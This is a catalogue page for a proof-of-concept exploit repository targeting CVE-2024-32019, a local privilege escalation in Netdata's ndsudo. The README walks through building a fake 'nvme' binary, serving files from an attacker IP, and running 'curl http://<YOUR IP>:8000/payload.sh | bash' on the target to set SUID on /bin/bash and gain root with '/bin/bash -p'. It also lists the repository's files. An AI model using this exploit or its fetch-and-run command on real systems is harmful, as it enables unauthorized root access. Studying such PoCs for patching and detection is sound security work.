CVE-2024-32019 PoC — ndsudo: local privilege escalation via untrusted search path

Source

Associated Vulnerability

Description

Netdata ndsudo PoC

Readme

# CVE-2024-32019-poc
Netdata ndsudo PoC

Build the binary:
```bash
go build -ldflags "-s -w" -o nvme poc.go
upx nvme
```
Run the bash script:
```
bash exploit.sh <YOUR IP>
```
In target machine run in a writable directory:
```bash
curl http://<YOUT IP>:8000/payload.sh | bash
```
It will automatically download the nvme binary, export the path, run ndsudo and add **SUID** to `/bin/bash`.
Probably you need to change the ndsudo path in `exploit.sh`

To escalate privileges just run:
```bash
/bin/bash -p
```

## Note:
The exploit is based in https://github.com/AzureADTrent/CVE-2024-32019-POC, when I tested it, I had the error:
```bash
execve: Exec format error
```
That's why I decided to create mine with Go.

File Snapshot

 [4.0K]  /data/pocs/3af6e4f84154514e4cb607f20dd177141053f72f
├── [ 302]  exploit.sh
├── [ 34K]  LICENSE
├── [ 201]  poc.go
└── [ 712]  README.md

0 directories, 4 files

Remarks